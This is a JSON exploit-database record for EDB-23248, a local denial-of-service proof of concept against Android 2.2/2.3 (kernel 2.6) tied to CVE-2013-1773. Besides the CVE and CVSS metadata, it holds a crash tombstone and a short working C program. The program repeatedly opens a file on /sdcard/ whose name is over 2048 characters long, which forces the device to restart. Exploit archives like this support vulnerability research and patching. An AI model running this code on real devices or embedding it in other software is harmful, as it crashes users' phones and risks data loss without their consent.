{"exploit":{"id":"EDB-23248","name":"Google Android Kernel 2.6 - Local Denial of Service (DoS) Crash (PoC)","description":"Google Android Kernel 2.6 - Local Denial of Service (DoS) Crash (PoC)","cves":["CVE-2013-1773"],"author":"G13","published":"2012-12-09","platform":"android","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23248","path":"exploits/android/dos/23248.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23248.txt","vulnerabilities":[{"id":"CVE-2013-1773","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the VFAT filesystem implementation in the Linux kernel before 3.3 allows local users to gain privileges or cause a denial of service (system crash) via a VFAT write operation on a filesystem with the utf8 mount option, which is not properly handled during UTF-8 to UTF-16 conversion.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-1773","cvss":{"version":"2.0","baseScore":6.2,"severity":"medium","vectorString":"AV:L/AC:H/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-1773"},"updatedAt":"2024-08-06T15:13:32.804Z","retrievedAt":"2026-11-27T09:08:23.669Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23248.png?v=2","url":"https://exploitbin.com/exploits/EDB-23248","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23248/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23248/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Android Kernel 2.6 Local DoS\n# Date: 12/7/12\n# Author: G13\n# Twitter: @g13net\n# Versions: Android 2.2, 2.3\n# Category: DoS (android)\n#\n\n##### Vulnerability #####\n\nThe Android OS is vulnerable to a local DoS when a filename with a\nlength of 2048\nor larger is attempted to be written to the sdcard(vfat fs) multiple times.\n\nThe result of successful running of the exploit code is the system restarting.\n\nThe vulnerability only effects Android kernels that are in the version\n2.6 family.\n\n##### Vendor Timeline #####\n\nThe Android Security Team has been contacted with updated PoC code and\ndetails.\n\nThey have been aware of this vulnerability for over a year.\n\n##### Tombstone #####\n\n*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***\nBuild fingerprint:\n'verizon/SCH-I800/SCH-I800:2.3.4/GINGERBREAD/EF01:user/release-keys'\npid: 349, tid: 363, name: SensorService  >>> system_server <<<\nsignal 8 (SIGFPE), code -6 (?), fault addr 0000015d\n    r0 00000000  r1 00000008  r2 00000040  r3 00000000\n    r4 2a114310  r5 00000000  r6 51504690  r7 00000025\n    r8 2a114330  r9 2a114350  sl 00000003  fp 00000003\n    ip fffd4084  sp 51501eb0  lr 40039b70  pc 40037cf0  cpsr 20030010\n    d0  4271bc7bd0b80000  d1  0000000000000000\n    d2  0000000000000000  d3  427181eae9200000\n    d4  0000000000000000  d5  0000000000000000\n    d6  0000000000000000  d7  0000000000000000\n    d8  0000000000000000  d9  0000000000000000\n    d10 0000000000000000  d11 0000000000000000\n    d12 0000000000000000  d13 0000000000000000\n    d14 0000000000000000  d15 0000000000000000\n    d16 3fe99999a0000000  d17 3fe999999999999a\n    d18 0033003200310030  d19 0000000000000000\n    d20 3fc554e7eb0eb47c  d21 3e66376972bea4d0\n    d22 3f4de16b9c24a98f  d23 3fb0f4a31edab38b\n    d24 3fede16b9c24a98f  d25 3fe55559ee5e69f9\n    d26 0000000000000000  d27 0000000000000000\n    d28 0000000000000005  d29 0000000000000000\n    d30 0000000000000000  d31 0000000000000000\n    scr 20000010\n\nbacktrace:\n    #00  pc 0000dcf0  /system/lib/libc.so (kill+12)\n    #01  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #02  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #03  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #04  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #05  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #06  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #07  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #08  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #09  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #10  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #11  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #12  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #13  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #14  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #15  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n    #16  pc 0000fb6c  /system/lib/libc.so (__aeabi_idiv0+8)\n\n##### PoC #####\n\n#include <stdio.h>\n\nint main(int argc, char** argv) {\n  char buf[5000];\n  int j,k;\n  FILE *fp;\n  /* Path to sdcard, typically /sdcard/ */\n  strcpy(buf,\"/sdcard/\");\n  for(k=0;k<=2048;k++){\n    strcat(buf,\"A\");\n  };\n  for(j=0;j<=50;j++){\n    fp=fopen(buf,\"w\");\n  };\nreturn 0;\n}","sha256":"72d8aa96322560458b6463925553e006dbe491201d3ba3bdb3073bf080a164cb","bytes":3285,"fetchedAt":"2026-11-27T09:08:19.177Z","encoding":"utf-8 (display only; download retains original bytes)"}